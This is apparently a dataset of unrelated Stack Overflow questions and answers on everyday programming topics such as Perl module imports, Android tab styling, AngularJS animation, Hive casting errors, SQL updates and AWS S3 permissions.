1159078	0	 <p>It will take a lot lot longer if you just sit around asking abstract questions and not actually diving in and doing it. Do you have a deadline or something? How long will it take me to learn the piano? Who cares, I just wanna make some noise. That's how kids learn so fast. They don't care about becoming an expert, or even good. They just like to play.</p> <p>In any case, if you want to learn some interesting things, try some assembler as well. A lot of people really hate it, but that's just because they don't like spending countless hours not accomplishing much. I like it just fine.</p>
31950337	0	 <p>Well, I'm not sure if parametrisation of CucumberJVM tests on <code>testng.xml</code> level is what you are really looking for. However, if you really need to read parameters from <code>testng.xml</code> file in your CucumberJVM framework, here is a (dirty) solution for you:</p> <ul> <li>make <code>DownloadFeatureRunner</code> extend CustomRunner instead of <code>AbstractTestNGCucumberTests</code></li> <li>include parameter in yout <code>testng.xml</code> file: <code>&lt;parameter name="someParam" value="someValue"/&gt;</code></li> <li><p>and also implement you new parent class:</p> <pre><code>public class CustomRunner implements IHookable { public CustomRunner() { } @Parameters("someParam") @Test( groups = {"cucumber"}, description = "Runs Cucumber Features" ) public void run_cukes(String someParam) throws IOException { System.out.println(someParam); (new TestNGCucumberRunner(this.getClass())).runCukes(); } public void run(IHookCallBack iHookCallBack, ITestResult iTestResult) { iHookCallBack.runTestMethod(iTestResult); } } </code></pre></li> </ul> <p>As you can see, you can access value of the parameter. It's up to you what you want to do with it now.</p>
5321234	0	emails sent with "send object" macro sometimes get stuck in Outlook outbox <p>I have an Access 2007 macro that uses the send object command to send emails with an HTML attachment. My problem is that around 20% of these emails get stuck in the Outlook outbox. For some unknown reason, the "delay delivery" checkbox in Outlook is automaticaly checked off to delay the delivery, for these emails. I dont know if this is relevant, but I use the app "Click Yes", in order to automatically authorize Outlook to send the messages. Please advise what I can do in order not to expereince the emails from getting stuck in the Outbox THank you very much, Nathaniel</p>
33984100	0	 <p>From Android 5.0 (API level 21) you can use vector drawable in your app. You can use new Android Studio tool called: Vector Asset Studio. It handles PNG making for older versions automatically. See link below for a complete explanation:</p> <p><a href="http://developer.android.com/tools/help/vector-asset-studio.html" rel="nofollow">Vector Asset Studio</a></p>
30987493	0	 <p>These things are called <em>Chips</em>. If you are using angular, then you can look at the demo <a href="https://material.angularjs.org/latest/#/demo/material.components.chips" rel="nofollow">here</a>.</p>
4291324	0	 <p>The simple, and most likely correct answer is that the last module loaded that exports a given function will be the one whose function is used.</p> <p>When a function (or other symbol) is exported, the symbol table for the receiving package is modified. So if two import functions make changes to the table, the last change is what is preserved.</p> <p>Recall that <code>use Foo;</code> is <em>more or less</em> equivalent to <code>BEGIN { require Foo; Foo-&gt;import if Foo-&gt;can(import); }</code>.</p> <p>Since <code>import</code> is just a subroutine with a special name, the only limitation is the twisted imagination of J. Random Hacker. <code>import</code> can be <strong>any</strong> code. It can do anything or nothing. For example, it could contain logic to make sure no already defined functions are over-written.</p> <p>But, barring any weirdness, the last loaded will be the one in use.</p> <hr> <p>To be 100% technically correct, <code>use Foo;</code> is equivalent to <code>BEGIN { require Foo; Foo-&gt;import; }</code>. </p> <p>Except that this code doesn't work like you might expect. </p> <p><strong>Where the exact code varies from my example.</strong></p> <p>What the above code does is tied up in how method resolution works in Perl.</p> <p>Ordinarily, a call to <code>Foo-&gt;some_sub</code> where <code>some_sub</code> does not exist and an <code>AUTOLOAD</code> function is defined in <code>Foo</code>, <code>some_sub</code> would be handled by the <code>AUTOLOAD</code> function. There is a special case for <code>import</code> that exempts it from <code>AUTOLOAD</code> checks. See <a href="http://perldoc.perl.org/perlsub.html#Autoloading" rel="nofollow">perlsub on Autoloading</a>. </p> <p>After <code>AUTOLOAD</code> has (or really has not) been checked, we check inheritance. The same check for matching functions or an <code>AUTOLOAD</code> function is repeated for each item in the original package's <code>@ISA</code>. This is a recursive process that includes the parent's parents and so forth until the entire inheritance tree is checked--<code>@ISA</code> is checked in left to right, depth first order. All this time the <code>AUTOLOAD</code> exception is in place and it will be skipped for <code>import</code>.</p> <p>Eventually, if no matching method is found, we fall back on <code>UNIVERSAL</code> the universal base class. If the function exists in <code>UNIVERSAL</code>, it is called, otherwise we throw an exception that says the function couldn't be found.</p> <p>So, in the case of our <code>Foo-&gt;import;</code> call, <code>UNIVERSAL::import</code> is called to handle the job. So, what does this function do?</p> <p>In Perl 5.12.2 the code looks like this:</p> <pre><code>sub import { return unless $_[0] eq __PACKAGE__; return unless @_ &gt; 1; require warnings; warnings::warnif( 'deprecated', 'UNIVERSAL-&gt;import is deprecated and will be removed in a future perl', ); goto &amp;Exporter::import; } </code></pre> <p>Note that the first thing the function does is bail out if it wasn't called on <code>UNIVERSAL</code>.</p> <p>Now everything I've said is true, as long as you don't do several things:</p> <ul> <li><p>override the method resolution order. If you do this then method resolution will happen however you have defined it to. Whether we get to UNIVERSAL or not or when is totally up in the air and subject to your whims.</p></li> <li><p>override <code>UNIVERSAL::import</code>. You could monkey patch UNIVERSAL::import to do whatever you want. Again how this will behave is completely subject to your whims.</p></li> </ul> <p>So, the semi-equivalent code I gave above is a just shorthand for what happens. I thought it would be easier to understand, since it does not require knowing as many details of how Perl does things, but it isn't 100% equivalent to what really happens. Doing unexpected things breaks the equivalence. </p> <p><strong>Where my code varies from exact equivalent code</strong></p> <p>Further, my code calls <code>Foo-&gt;can</code> which generally falls back to <code>UNIVERSAL::can</code>. In no place is <code>can</code> called in the normal chain of events. This gets especially hairy when one considers the issues with <code>can</code> in Perl. </p> <ul> <li><code>can</code> may be overridden or reimplemented by any class in the inheritance graph. Which <code>can</code> gets called is subject to method resolution order. All the problems with multiple inheritance apply here.</li> <li><code>can</code> does not see autoloaded functions. Since autoloading doesn't apply to import this may not seem like a big deal. The problem is that it is considered good practice to overload <code>can</code> to take this into account if you use autoloading. So, this compounds the issues above. The best thing to do is to use the non-core module <code>NEXT</code> to enable method redispatch, so that can can be handled by each module in the chain. Unfortunately, this is rarely done.</li> </ul> <p><strong>Conclusion</strong></p> <p>All this is one hell of a lot to chew on.</p> <p>You can accept my shorthand, knowing that in some cases, it is not exactly correct. </p> <p>Or you can accept the actual code, that has its own set of exceptions.</p> <p>Either way, if you break through the surface of either example there are some subtle issues to cope with.</p>
22240534	0	 <p><a href="http://jsfiddle.net/mE7EQ/" rel="nofollow">http://jsfiddle.net/mE7EQ/</a></p> <p>I wrote one up real quick, if you have any questions about it, let me know!</p> <pre><code>var a = 'This is some [example] text for my javascript [regexp] [lack] of knowledge.' var results = a.match(/\[\w*\]/g); alert(results[0] + ' ' + results[1] + ' ' + results[2]); </code></pre>
1935512	0	 <p>I need this too...</p> <p>The solution of Multi-Statement table-based function is good but not enough:</p> <pre><code>CREATE FUNCTION myProc (@ID Int) RETURNS @EmployeeList Table ( ID Int , Name nVarChar(50) , Salary Money ) AS BEGIN IF @ID IS NULL BEGIN INSERT INTO @EmployeeList (ID, Name, Salary) SELECT ID, Name, Salary FROM Employee END ELSE BEGIN INSERT INTO @EmployeeList (ID, Name, Salary) SELECT ID, Name, Salary FROM Employee WHERE ID = @ID END RETURN END GO </code></pre> <p>One must <em>d e f i n e</em> a return table so that a predefined field must be returned and not any table like</p> <pre><code>if @tableNum=1 then select * from tableA --(tableA and tableB are completely differnt ) else select * from tableB </code></pre>
6939876	0	How to create curved or rounded tabs in Android <p>actually i want to show the curve at the bottom right side of my tabs..so how can it be done..the code i have used..</p> <p>Code for Xml</p> <pre><code>&lt;?xml version="1.0" encoding="utf-8"?&gt; &lt;TabHost xmlns:android="http://schemas.android.com/apk/res/android" android:id="@android:id/tabhost" android:layout_width="fill_parent" android:layout_height="fill_parent"&gt; &lt;LinearLayout android:orientation="vertical" android:layout_width="fill_parent" android:layout_height="fill_parent"&gt; &lt;TabWidget android:id="@android:id/tabs" android:layout_width="fill_parent" android:layout_height="wrap_content"/&gt; &lt;FrameLayout android:id="@android:id/tabcontent" android:layout_width="fill_parent" android:layout_height="fill_parent"/&gt; &lt;/LinearLayout&gt; &lt;/TabHost&gt; </code></pre> <p>code for second xml</p> <pre><code>&lt;?xml version="1.0" encoding="UTF-8"?&gt; &lt;selector xmlns:android="http://schemas.android.com/apk/res/android"&gt; &lt;!-- When selected, use grey --&gt; &lt;item android:drawable="@drawable/ic_tab_artists_white" android:state_selected="true" android:state_pressed="false" /&gt; &lt;!-- When not selected, use white--&gt; &lt;item android:drawable="@drawable/ic_tab_artists_grey" /&gt; &lt;/selector&gt; </code></pre> <p>code for .java file</p> <pre><code> Resources res = getResources(); final TabHost MainTabHost = getTabHost(); TabHost.TabSpec spec; Intent intent; MainTabHost.getTabWidget().setStripEnabled(false); //call calendar Activity class intent = new Intent().setClass(this, CalendarForm.class); intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP); spec = MainTabHost.newTabSpec(res.getString(R.string.text_tabHost1)).setIndicator("Calendar", res.getDrawable(R.drawable.calendar_ic)).setContent(intent); MainTabHost.addTab(spec); //call History Activity class intent = new Intent().setClass(this, HistoryForm.class); intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP); spec = MainTabHost.newTabSpec(res.getString(R.string.text_tabHost2)).setIndicator("History", res.getDrawable(R.drawable.calendar_ic)).setContent(intent); MainTabHost.addTab(spec); //call Statistic Activity class intent = new Intent().setClass(this, StatisticForm.class); intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP); spec = MainTabHost.newTabSpec(res.getString(R.string.text_tabHost3)).setIndicator("Statistic", res.getDrawable(R.drawable.calendar_ic)).setContent(intent); MainTabHost.addTab(spec); //setbackground Style of tabHost MainTabHost.setCurrentTab(0); MainTabHost.getTabWidget().setWeightSum(3); final TabWidget tabHost=getTabWidget(); MainTabHost.setBackgroundResource(R.drawable.back_image); for (int j = 0; j &lt; MainTabHost.getTabWidget().getChildCount(); j++) { ((TextView)tabHost.getChildAt(j).findViewById(android.R.id.title)).setTextColor(Color.parseColor("#FFFFFF")); ((TextView)tabHost.getChildAt(j).findViewById(android.R.id.title)).setTextSize(16); } </code></pre> <p><img src="https://i.stack.imgur.com/nIfNU.png" alt="enter image description here"></p> <p>this is what i got..here tabs are square now i want my tabs curve at the bottom right side</p>
964811	0	 <p>One of the most useful things we introduced was a project Wiki, an extremely useful dumping ground for all the little titbits of information floating around in peoples head but too trivial to record in a full document.</p>
33785570	0	 <p>You need to URL encode the values. Try using the encodeURIComponent() method.</p> <p><a href="https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/encodeURIComponent" rel="nofollow">https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/encodeURIComponent</a></p>
22794996	0	 <p>Clients may not directly access artifacts under WEB-INF.</p> <p>Put them in a location directly accessible if you're not streaming them from an app endpoint.</p>
36431950	0	 <p>There is no official example but check below link.<br> Very good implementation. <a href="https://github.com/roughike/BottomBar" rel="nofollow">https://github.com/roughike/BottomBar</a></p>
39003364	0	 <p>The issue is in <code>e.target.Id</code>. It should <code>id</code>(lower case) since <code>javascript</code> is a case-sensitive language.</p> <p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false"> <div class="snippet-code"> <pre class="snippet-code-js lang-js prettyprint-override"><code>var list = document.querySelector("ul"); list.onclick = function(e) { if(e.target.tagName === "LI") { e.target.classList.toggle("done"); } }; var list2 = document.getElementById("list2"); list2.onclick = function(e) { if(e.target.id === "text") { e.target.classList.toggle("done"); } };</code></pre> <pre class="snippet-code-css lang-css prettyprint-override"><code>.done{ background-color:greenyellow; }</code></pre> <pre class="snippet-code-html lang-html prettyprint-override"><code>&lt;ul&gt; &lt;li&gt;One&lt;/li&gt; &lt;li&gt;Two&lt;/li&gt; &lt;li&gt;Three&lt;/li&gt; &lt;/ul&gt; &lt;div id="list2"&gt; &lt;p id="text"&gt;Text&lt;/p&gt; &lt;p id="text"&gt;Text&lt;/p&gt; &lt;p id="text"&gt;Text&lt;/p&gt; &lt;/div&gt;</code></pre> </div> </div> </p>
3254755	0	 <p>Would be nice to tell us where you're having problems, what you expect and the result you're currently getting. </p>
30090608	0	How to add animation to new objects being pushed into DOM in AngularJS? <p>I am trying to add animation to new objects being pushed into an array in a service which the controller is listening to and is then adds it to the view using ng-repeat. How can I add animation instead of having the new object just appear?</p> <p>Here is my code for my view, controller, and service.</p> <p>View:</p> <pre><code>&lt;div&gt; &lt;h3&gt;Add a quote:&lt;/h3&gt; &lt;input type="text" ng-model="newQuote.text" placeholder="Quote..."&gt; &lt;input type="text" ng-model="newQuote.author" placeholder="Author..."&gt; &lt;button ng-click="addQuote()"&gt;Add&lt;/button&gt; &lt;/div&gt; &lt;h1&gt;Quotes&lt;/h1&gt; &lt;div ng-repeat="thisData in someData | filter:searchThis"&gt; &lt;div id="{{thisData.id}}" class="quotes"&gt; &lt;p class="quote"&gt;"{{thisData.text}}"&lt;br&gt;-{{thisData.author}}&lt;/p&gt; &lt;button class="deleteButton" ng-class="{on:state}" ng-click="deleteQuote(thisData.text)"&gt;X&lt;/button&gt; &lt;/div&gt; &lt;/div&gt; </code></pre> <p>Controller:</p> <pre><code>$scope.getData = function(){ $scope.someData = dataService.getData() } $scope.getData() $scope.newQuote = {} $scope.addQuote = function(){ dataService.addData($scope.newQuote) $scope.newQuote = "" } </code></pre> <p>Service:</p> <pre><code>var quotes = [ { id: 0, text: 'Life isn\'t about getting and having, it\'s about giving and being.', author: 'Kevin Kruse'}, { id: 1, text: 'Whatever the mind of man can conceive and believe, it can achieve', author: 'Napoleon Hill'}, { id: 2, text: 'Strive not to be a success, but rather to be of value.', author: 'Albert Einstein'}, { id: 3, text: 'Two roads diverged in a wood, and I took the one less traveled by, And that has made all the difference.', author: 'Robert Frost'}, { id: 4, text: 'The most difficult thing is the decision to act, the rest is merely tenacity.', author: 'Amelia Earhart'}, { id: 5, text: 'Life is what happens to you while you\'re busy making other plans.', author: 'John Lennon'}, { id: 6, text: 'What even is a jQuery?', author: 'Tyler S. McGinnis'} ]; this.getData = function(){ return quotes } this.addData = function(someObj){ if (someObj.text &amp;&amp; someObj.author){ quotes.unshift(someObj) } else { return "Error" } } </code></pre>
11145629	0	 <p>Can you have a counter matrix that increments each time links are reformed between nodes of a graph then base your measures off of that.</p>
30270157	0	SemanticException: no valid privileges when querying with a cast on Hive <p>I'm getting a weird error when running any query with a <code>cast</code> as a non-admin. For example:</p> <pre><code>select cast(site_id as decimal) from test_table limit 5; </code></pre> <p>In that example, <code>site_id</code> is a <code>bigint</code>, but the column type and the type it's being cast as make no difference at all. The query runs fine in the absence of a <code>cast</code>, and the admin can run the query without issues as well. </p> <p>This is cdh 4.5.0, Hive 0.10.0.</p>
17843882	0	php search result images show across and fill a CSS div <p>I'm using dreamweaver and php to return a list of images based on search critiera. I have used Dreamweaver's repeat function and can get the images to repeat below each other (as below). </p> <pre><code>&lt;table width="100" height="38" border="1"&gt; &lt;?php do { ?&gt; &lt;tr&gt; &lt;td width="38"&gt; &lt;img class='example' src="images/&lt;?php echo $row_getresult['image_name']; ?&gt;.png"/&gt;&lt;br&gt; &lt;/a&gt;&lt;/td&gt;&lt;/tr&gt; &lt;?php } while ($row_getamenityaccommodation = mysql_fetch_assoc($getamenityaccommodation)); ?&gt; &lt;/table&gt; </code></pre> <p>How can I get the images to go across from each other within a CSS Div e.g. float:left; width:45%; so that if there are more images than what would fit in 45%, the images would continue onto a new line?</p> <p>Would somehow 'printing' the array work?</p>
3827551	0	Complete flash wordpress theme is possible? (with a php pipe of course) <p>Is possible to have the posts loaded into an swf using the wordpress framework? i mean, i want to write a post using the wordpress wp-admin interface and then see the result in a swf... I know that if i access using a php pipe the mysql server i can retrive the posts, but as i said i want to use the facebook framework... Is out there an allready made script to do this? any ideas? Thanks!</p>
17587278	0	 <p>create a <code>DataGridViewCheckBoxColumn</code> and connect to the <code>CellContentClick</code> event. then use this code:</p> <pre><code>private void dataGridView1_CellContentClick(object sender, DataGridViewCellEventArgs e) { if (e.ColumnIndex == 0)// checkbox column { object curr = dataGridView1[e.ColumnIndex, e.RowIndex].Value; if (curr == null || (bool)(curr) == false) { for (int i = 0; i &lt; dataGridView1.RowCount; i++) { if (i != e.RowIndex) { dataGridView1[e.ColumnIndex, i].Value = false; } } } } } </code></pre>
24056456	0	 <p>Declare every view , controller , model , store whatever you are using in ur application in <code>app.js</code>:</p> <pre><code>Ext.application({ name: 'AppName', requires: [], models:['Model-1','Model-2'], controllers : ['Main'], views : ['View-1','View-2'], stores : [ 'Store-1' , 'Store-2'], launch : function() { Ext.fly('appLoadingIndicator').destroy(); Ext.Viewport.add({ xclass: 'AppName.view.View-1', autoDestroy: false, showAnimation:false }); } }); </code></pre>
31338068	0	AspectJ plugin in Android Studio error messages not clickable <p>I am using <a href="https://github.com/uPhyca/gradle-android-aspectj-plugin" rel="nofollow">this</a> plugin for AspectJ support in my android project.</p> <p>When I am making syntax errors , such as missing semicolon , I expect to see <strong>clickable</strong> error in messages log after I try to build the project. Something like this :</p> <blockquote> <p>...\designlibdemo\MainActivity.java Error:(89, 63) error: ';' expected</p> </blockquote> <p>When I click on the error line , it takes me to the class and the line where the error is occurred.</p> <p>But now when I am using aspectJ plugin , I only see the error description , which is actually <strong>not clickable</strong> , and I cannot follow the error to the code. Looks like this : </p> <blockquote> <p>Error:Execution failed for task ':app:compileProductionDebugAspectj'. Syntax error, insert ";" to complete BlockStatements</p> </blockquote> <p>Does anyone know how to make it clickable , so it will take me to the error line ?</p>
27120748	0	 <p>try with this => put </p> <pre><code>int temp; cin&gt;&gt;temp; </code></pre> <p>before <code>return 0;</code> to pause the program, because the execution finished (successfully) before the last output could be written to the console.</p>
21016890	0	 <p>As shown in this complete <a href="http://stackoverflow.com/a/11113648/230513">example</a>, <code>DefaultMutableTreeNode</code> "may also hold a reference to a user object." Your <code>userObject</code> can return the display name in <code>toString()</code>, while providing an accessor for the search name. </p> <p>Addendum: <em>I need only the name to be shown there, not the date.</em></p> <p>The <code>getTreeCellRendererComponent()</code> method of <code>DefaultTreeCellRenderer</code> invokes "<code>convertValueToText()</code>, which ultimately invokes <code>toString()</code> on <code>value</code>." Your implementation should instead call <code>setText()</code> with your preferred value, perhaps derived from the value established by the <code>super</code> implementation. </p>
15253115	0	No package identifier when getting value for resource number 0x0000000a ? android manifest? <p>I have been searching stack and have found no help regarding this topic</p> <pre><code>03-06 11:37:02.448: W/ResourceType(14147): No package identifier when getting value for resource number 0x0000000a 03-06 11:37:02.448: D/AndroidRuntime(14147): Shutting down VM 03-06 11:37:02.448: W/dalvikvm(14147): threadid=1: thread exiting with uncaught exception (group=0x41d1b438) 03-06 11:37:02.448: I/Process(14147): Sending signal. PID: 14147 SIG: 9 03-06 11:37:02.448: E/AndroidRuntime(14147): FATAL EXCEPTION: main 03-06 11:37:02.448: E/AndroidRuntime(14147): java.lang.RuntimeException: Unable to start activity ComponentInfo{com.example.sliderexample/com.example.sliderexample.FragmentControllers.LeftRightSliderFragmentController}: android.content.res.Resources$NotFoundException: Resource ID #0xa </code></pre> <p>I am including a library, and the LeftRightSliderFragment class has a base class that is apart of that project library. Do I need to some how include the project library in the main project android manifest?</p> <p>If so how do I do this I can't seem to find this on google.</p>
13186953	0	 <p>I'm not sure I got your DB structure right, but I hope my idea will help you in either case. So I suggest providing more information on DB structure, e.g. can there be many <code>Iterations</code> for a <code>Test</code>?</p> <p>So, here is my proposal:</p> <pre><code>UPDATE test a set a.Iteration_ID = (nvl(( SELECT i.ID FROM Iteration i, (SELECT id, first_value(id) over(partition by connect_by_root(id)) first_id FROM Folder START WITH parent_id IS NULL CONNECT BY parent_id = PRIOR id) folder_flat WHERE a.TEST_ID = folder_flat.first_id and i.Folder_ID = folder_flat.ID ),0)); </code></pre> <p>General idea is flattening hierarchical structure in subquery so it can be easily joined.</p>
36117167	0	How to run jigdo on Windows 10 <p>I am used to using <a href="http://atterer.org/jigdo" rel="nofollow">Jigdo</a> to compile Debian CD/DVD images. Since moving from WIndows 7 to Windows 10, I get the following message when I try to run jigdo-lite.bat:</p> <pre><code>Jigsaw Download "lite" Copyright (C) 2001-2005 | jigdo@ Richard Atterer | atterer.net 0 [main] sh 2712 sync_with_child: child 10236(0x170) died before initialization with status code 0xC0000142 1197 [main] sh 2712 sync_with_child: *** child state waiting for longjmp jigdo-lite: fork: Resource temporarily unavailable Press any key to continue . . . </code></pre> <p>I managed to find <a href="http://atterer.org/jigdo/debian-jigdo-mini-howto#comment-3983" rel="nofollow">this comment</a> from someone having the same problem with Windows 8. The link given in the solution is out of date, though. I have also tried updating my msys-1.0.dll file by installing MSYS-1.0.11.exe and copying the DLL into jigdo-bin. The error goes away, but jigdo still refuses to run.</p> <p>Has anybody managed to get jigdo working on Windows 10?</p>
35753658	0	 <p>Split the S3 permissions into separate statements, and modify the resource setting for those statements. Something like this:</p> <pre><code>{ "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Action": [ "cloudwatch:*", "cognito-identity:ListIdentityPools", "cognito-sync:GetCognitoEvents", "cognito-sync:SetCognitoEvents", "dynamodb:*", "events:*", "iam:ListAttachedRolePolicies", "iam:ListRolePolicies", "iam:ListRoles", "iam:PassRole", "kinesis:DescribeStream", "kinesis:ListStreams", "kinesis:PutRecord", "lambda:*", "logs:*", "sns:ListSubscriptions", "sns:ListSubscriptionsByTopic", "sns:ListTopics", "sns:Subscribe", "sns:Unsubscribe" ], "Resource": "*" }, { "Effect":"Allow", "Action":[ "s3:ListBucket", "s3:GetBucketLocation" ], "Resource":"arn:aws:s3:::lambda-scripts" }, { "Effect": "Allow", "Action": [ "s3:PutObject", "s3:GetObject", "s3:DeleteObject" ], "Resource": "arn:aws:s3:::lambda-scripts/*" } ] } </code></pre>
28451639	0	 <p>this seemed to work for me VB.NET 3.5 returns a list of items in the past 10 minutes ... I'm sure it can be adjusted to meet your needs</p> <pre><code> ' if online time is greater than 10 minutes ago pickup user check onLineTime.Date = now.AddMinutes(-10).Date check onLineTime.TimeOfDay = now.AddMinutes(-10).TimeOfDay Dim rsl = From s In db.tblSessions Where (s.SessionID &lt;&gt; context.Session.SessionID AndAlso s.onLineTime.Date = DateTime.Now.AddMinutes(-10).Date AndAlso s.onLineTime.TimeOfDay &gt; DateTime.Now.AddMinutes(-10).TimeOfDay) </code></pre> <p>where s.onLineTime is a SQL DATETIME field ie. 2015-02-11 04:49:26.283</p>
12359432	0	 <p>Removing folder</p> <pre><code>Developer-3.2.6 </code></pre> <p>has solved the problem.</p> <p>Thanks Ned Deily for your answer</p>
30083920	0	 <p>You have 2 paste operations in your code. One that you know of:</p> <p>WshtCrnt.Paste</p> <p>and one that is part of this range copy statement:</p> <p>. . With WshtSht1 .Range(.Cells(1, 1), .Cells(RowSht1DataFirst - 1, ColSht1LastHdr)).Copy_ Destination:=WshtCrnt.Range("A1") . .</p> <p>By specifying a "Destination" you are requesting a copy AND paste of your range.</p>
40900242	0	Bootstrap column that is responsive to 100% of the page height <p>So I successfully coded and implemented a website with a column on the side, that has a hidden div on the side of the column that appears when a button is clicked, I need the height of the column to remain 100% of the browser, but when it came to responsiveness my code lacked since it was custom made.</p> <p>I decided to switch to bootstrap but I find the grid system a bit confusing, so if I have the following set up:</p> <pre class="lang-html prettyprint-override"><code>&lt;div id="container"&gt; &lt;div id="column1"&gt; &lt;div id="row1"&gt; ... ... &lt;/div&gt; &lt;div id="row2"&gt; ... ... &lt;/div&gt; &lt;/div&gt; &lt;div id="column2"&gt; &lt;div id="row3"&gt; ... ... &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; </code></pre> <p>But I wanted to implement bootstrap to get the following look:<br> <a href="https://i.stack.imgur.com/9STmz.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/9STmz.jpg" alt="enter image description here"></a></p> <p>And if the user resizes it would adjust in this manner, where it would resize based on heights and not widths:<br> <a href="https://i.stack.imgur.com/LCNyg.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/LCNyg.jpg" alt="enter image description here"></a></p>
13463294	0	Creating a scatter plot for multiple rows in R <p>I have a data frame that looks something like this:</p> <pre><code> Samp1 Samp2 Samp3 Samp4 Samp5 Gene1 84.1 45.2 34.3 54.6 76.2 Gene2 94.2 12.4 68.0 75.3 24.8 Gene3 29.5 10.5 43.2 39.5 45.5 ... </code></pre> <p>I am trying to create a scatter plot where the x-axis are the samples(Samp1-5), and the y-axis are the rows(Gene1-3 and so on), but I want the data of each row to be plotted as a different color on the same plot.</p> <p>Any thoughts on how to do this in R? I am more than willing to use ggplot2, lattice, car or any other package in R.</p>
6030136	1	Python - Generate a multiple row update query <p>My goal is dynamically generate in Python a SQL query similar to,</p> <pre><code>UPDATE SURV_SCF_ID_STATUS SET AGE_STATUS = CASE NAME WHEN 'entityXp1' THEN '1' WHEN 'entityXp3' THEN '0' WHEN 'entityXpto1' THEN '1' WHEN 'entityXpto3' THEN '1' END WHERE NAME IN ('entityXp1', 'entityXp3', 'entityXpto1', 'entityXpto3') </code></pre> <p>This is what I have so far, but still feels like an ugly hack,</p> <pre><code>logs_age_list = [['entityXp1', '1'], ['entityXp3', '0'], ['entityXp1', '1'], ['entityXpto3', '1']] conditions_list = [] where_list = [] for entity, status in logs_age_list: conditions_list.append("\t\tWHEN %(entity)s THEN %(value)s" % locals() ) where_list.append(entity) conditions_string = '\n'.join(conditions_list) where_string = ', '.join(where_list) sql = ''' UPDATE SURV_SCF_ID_STATUS SET AGE_STATUS = CASE NAME %(conditions_string)s END WHERE NAME IN (%(where_string)s) ''' % locals() print sql </code></pre> <p>Is there some more obvious way to do it? I didn't find any Python module which allow this.</p> <p>Thanks</p>
4769380	0	 <p>Because you cannot declare class properties with variable expressions. That means you cannot use any arithmetic operators <code>+ - * /</code> or the concatenation operator <code>.</code>, and you can't call functions. Out of your three lines, only <code>$test</code> should work; the other two will give you errors.</p> <p>If you need to build your strings dynamically, do it in the constructor.</p> <pre><code>class Object { public $test = "Hello"; public $var2; public function __construct() { $this-&gt;var2 = $this-&gt;test . "World"; } } </code></pre> <p>By the way, <code>.</code> is not a "string separator". It's the concatenation operator. You use it to <em>join</em> strings, not <em>separate</em> them.</p>
15097280	0	 <p>Try <a href="http://technet.microsoft.com/en-us/library/ms187316.aspx" rel="nofollow">@@ROWCOUNT</a></p> <pre><code>--Simple T-Sql Proc CREATE PROCEDURE usp_OutputRowExample @Count INT OUTPUT AS BEGIN SELECT * FROM &lt;table&gt;; --Get your entities SELECT @Count = @@ROWCOUNT; --@@ROWCOUNT returns the amount of --affected rows from the last query END //From C# public Tuple&lt;IEnumerable&lt;object&gt;, int&gt;&gt; GetObjects() { using(var connection = new SqlConnection(_connectionString)) { connection.Open(); using(var command = sqlConnection.CreateCommand()) { command.CommandText = "usp_OutputRowExample"; command.CommandType = CommandType.StoredProcedure; var outputParameter = new SqlParameter("@Output", SqlDbType.Int) { Direction = ParameterDirection.Output }; command.Parameters.Add(outputParameter); using(var reader = command.ExecuteReader()) { var entities = new List&lt;entities&gt;(); while(reader.Read()) { //Fill entities } } var outputCount = outputParameter.Value as int? ?? default(int); return new Tuple&lt;IEnumerable&lt;object&gt;, int&gt;(entities, outputCount); } } } </code></pre>
15478129	0	IMDB rating plugin not working with ajax <p>I have a page <code>movies.jsp</code> that is called through ajax from the page <code>home.jsp</code>. <code>movies.jsp</code> contains the code for the IMDB rating plugin (<a href="http://www.imdb.com/plugins?titleId=tt1623205&amp;ref_=tt_plg_rt" rel="nofollow">link</a>) :</p> <pre><code>&lt;span class="imdbRatingPlugin" data-user="ur17960624" data-title="&lt;%=request.getParameter("movieId") %&gt;" data-style="p4"&gt; &lt;a href="http://www.imdb.com/title/&lt;%=request.getParameter("movieId") %&gt;/?ref_=plg_rt_1"&gt; &lt;img src="http://g-ecx.images-amazon.com/images/G/01/imdb/plugins/rating/images/imdb_31x14.png" alt="Oz the Great and Powerful (2013) on IMDb" /&gt; &lt;/a&gt; &lt;/span&gt; &lt;script&gt;(function(d,s,id){var js,stags=d.getElementsByTagName(s)[0];if(d.getElementById(id)){return;}js=d.createElement(s);js.id=id;js.src="http://g-ec2.images-amazon.com/images/G/01/imdb/plugins/rating/js/rating.min.js";stags.parentNode.insertBefore(js,stags);})(document,'script','imdb-rating-api');&lt;/script&gt; </code></pre> <p>My ajax request is called like this :</p> <pre><code>$(document).on('click', 'imdb-button', function(){ $('content').load('movies.jsp&amp;movieId='+imdbmovieId'); }); </code></pre> <p>The problem is that the request works fine the first time, but clicking on other movies with other movieIds returns just the IMDB logo and no rating. I suspect there's a problem with script in the plugin. I tried enclosing the script in a jquery function, and firing that function as a callback to the <code>load</code> everytime but that doesnt work. And ideas?</p>
2057565	0	 <p>This is a (nasty) bug in WASCE. It should have been <code>"file:///C:/Program Files/IBM/...."</code>. The <code>file://</code> is here the protocol which was missing due to the space in <code>Program Files</code>. The IBM guys should have quoted path names, but they apparently overlooked it.</p> <p>To fix this problem, either install WASCE in a path without spaces, or upgrade to the latest version available.</p>
30140725	0	 <p>Got it myself:</p> <pre><code> db.xy.update({_id: ObjectId("55081de2162072120758fc53"), "items._id": ObjectId("554df987a8e9950134aa72bd")}, {$set: { "items.$.checked": true}} </code></pre>
27274455	0	 <p>I am finding evidence which suggests that this problem is related to MySQL version 5.5.8. What version of MySQL are you running?</p>
